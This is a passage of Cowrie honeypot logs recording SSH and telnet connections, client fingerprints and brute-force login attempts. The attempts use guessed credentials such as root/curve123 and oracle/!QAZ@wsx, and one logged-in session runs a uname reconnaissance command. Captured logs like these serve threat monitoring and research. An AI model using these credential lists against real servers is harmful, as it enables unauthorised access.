":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:38.954913Z","src_ip":"66.29.142.197","session":"132232d21d1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"curve123","message":"login attempt [root/curve123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:39.150316Z","src_ip":"66.29.142.197","session":"132232d21d1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:40.217061Z","src_ip":"66.29.142.197","session":"132232d21d1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.97064828872681,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:40.273831Z","src_ip":"170.64.224.25","session":"f3c0e002f339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36234,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfcb5aebf9d4","protocol":"telnet","message":"New connection: 170.64.224.25:36234 (159.203.135.109:23) [session: dfcb5aebf9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:54.123870Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":52494,"dst_ip":"159.203.135.109","dst_port":22,"session":"224ff7d15769","protocol":"ssh","message":"New connection: 198.57.219.18:52494 (159.203.135.109:22) [session: 224ff7d15769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:57.015323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:57.018999Z","src_ip":"198.57.219.18","session":"224ff7d15769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:57.102411Z","src_ip":"198.57.219.18","session":"224ff7d15769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1tg3t$Tr0ng@W0rd","message":"login attempt [root/B1tg3t$Tr0ng@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:57.349986Z","src_ip":"198.57.219.18","session":"224ff7d15769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:13:58.434545Z","src_ip":"198.57.219.18","session":"224ff7d15769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47412,"dst_ip":"159.203.135.109","dst_port":23,"session":"7298ee922a5c","protocol":"telnet","message":"New connection: 170.64.224.25:47412 (159.203.135.109:23) [session: 7298ee922a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:02.080099Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53918,"dst_ip":"159.203.135.109","dst_port":22,"session":"7052ec3ce933","protocol":"ssh","message":"New connection: 160.187.174.22:53918 (159.203.135.109:22) [session: 7052ec3ce933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:04.539378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:04.543829Z","src_ip":"160.187.174.22","session":"7052ec3ce933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:04.782097Z","src_ip":"160.187.174.22","session":"7052ec3ce933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:05.496129Z","src_ip":"160.187.174.22","session":"7052ec3ce933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:06.737145Z","src_ip":"160.187.174.22","session":"7052ec3ce933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39526,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9dfc3f0b2b4","protocol":"telnet","message":"New connection: 170.64.224.25:39526 (159.203.135.109:23) [session: b9dfc3f0b2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:14.128305Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.177.234.24","src_port":49962,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f9673cc6095","protocol":"ssh","message":"New connection: 14.177.234.24:49962 (10.17.0.5:22) [session: 0f9673cc6095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:16.622158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:16.625830Z","src_ip":"14.177.234.24","session":"0f9673cc6095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:16.881705Z","src_ip":"14.177.234.24","session":"0f9673cc6095","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456root","message":"login attempt [root/123456root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:17.939977Z","src_ip":"14.177.234.24","session":"0f9673cc6095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:19.198752Z","src_ip":"14.177.234.24","session":"0f9673cc6095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.29902458190918,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:33.378982Z","src_ip":"170.64.224.25","session":"7298ee922a5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55164,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ffda98ba10c","protocol":"ssh","message":"New connection: 160.187.174.22:55164 (159.203.135.109:22) [session: 3ffda98ba10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:34.834858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:34.860360Z","src_ip":"160.187.174.22","session":"3ffda98ba10c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:35.083449Z","src_ip":"160.187.174.22","session":"3ffda98ba10c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.501224756240845,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:35.624966Z","src_ip":"170.64.224.25","session":"dfcb5aebf9d4","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"!QAZ@wsx","message":"login attempt [oracle/!QAZ@wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:36.073087Z","src_ip":"160.187.174.22","session":"3ffda98ba10c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:36.605451Z","src_ip":"160.187.174.22","session":"3ffda98ba10c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:36.607784Z","src_ip":"160.187.174.22","session":"3ffda98ba10c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:36.856889Z","src_ip":"160.187.174.22","session":"3ffda98ba10c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:14:36.861279Z","src_ip":"160.187.174.22","session":"3ffda98ba10c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.06636118888855,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:01.194566Z","src_ip":"170.64.224.25","session":"b9dfc3f0b2b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59832,"dst_ip":"159.203.135.109","dst_port":22,"session":"d37b8fe7fce2","protocol":"ssh","message":"New connection: 160.187.174.22:59832 (159.203.135.109:22) [session: d37b8fe7fce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:03.945804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:03.949952Z","src_ip":"160.187.174.22","session":"d37b8fe7fce2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:04.191979Z","src_ip":"160.187.174.22","session":"d37b8fe7fce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":34222,"dst_ip":"159.203.135.109","dst_port":22,"session":"33055d796211","protocol":"ssh","message":"New connection: 43.160.200.19:34222 (159.203.135.109:22) [session: 33055d796211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:04.887710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:04.895876Z","src_ip":"43.160.200.19","session":"33055d796211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:04.925742Z","src_ip":"160.187.174.22","session":"d37b8fe7fce2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:05.143066Z","src_ip":"43.160.200.19","session":"33055d796211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M","message":"login attempt [root/M] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:06.156671Z","src_ip":"43.160.200.19","session":"33055d796211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:06.172618Z","src_ip":"160.187.174.22","session":"d37b8fe7fce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:07.404050Z","src_ip":"43.160.200.19","session":"33055d796211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54270,"dst_ip":"159.203.135.109","dst_port":23,"session":"daf58f118192","protocol":"telnet","message":"New connection: 170.64.224.25:54270 (159.203.135.109:23) [session: daf58f118192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:16.477056Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34910,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d57d576fdeb","protocol":"telnet","message":"New connection: 170.64.224.25:34910 (159.203.135.109:23) [session: 2d57d576fdeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:19.871352Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43028,"dst_ip":"10.17.0.5","dst_port":22,"session":"123d63624525","protocol":"ssh","message":"New connection: 103.153.68.219:43028 (10.17.0.5:22) [session: 123d63624525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:21.379571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:21.384238Z","src_ip":"103.153.68.219","session":"123d63624525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:21.637916Z","src_ip":"103.153.68.219","session":"123d63624525","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1357913","message":"login attempt [root/1357913] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:15:22.393510Z","src_ip":"103.153.68.219","session":"123d63624525","protocol":"ssh"}
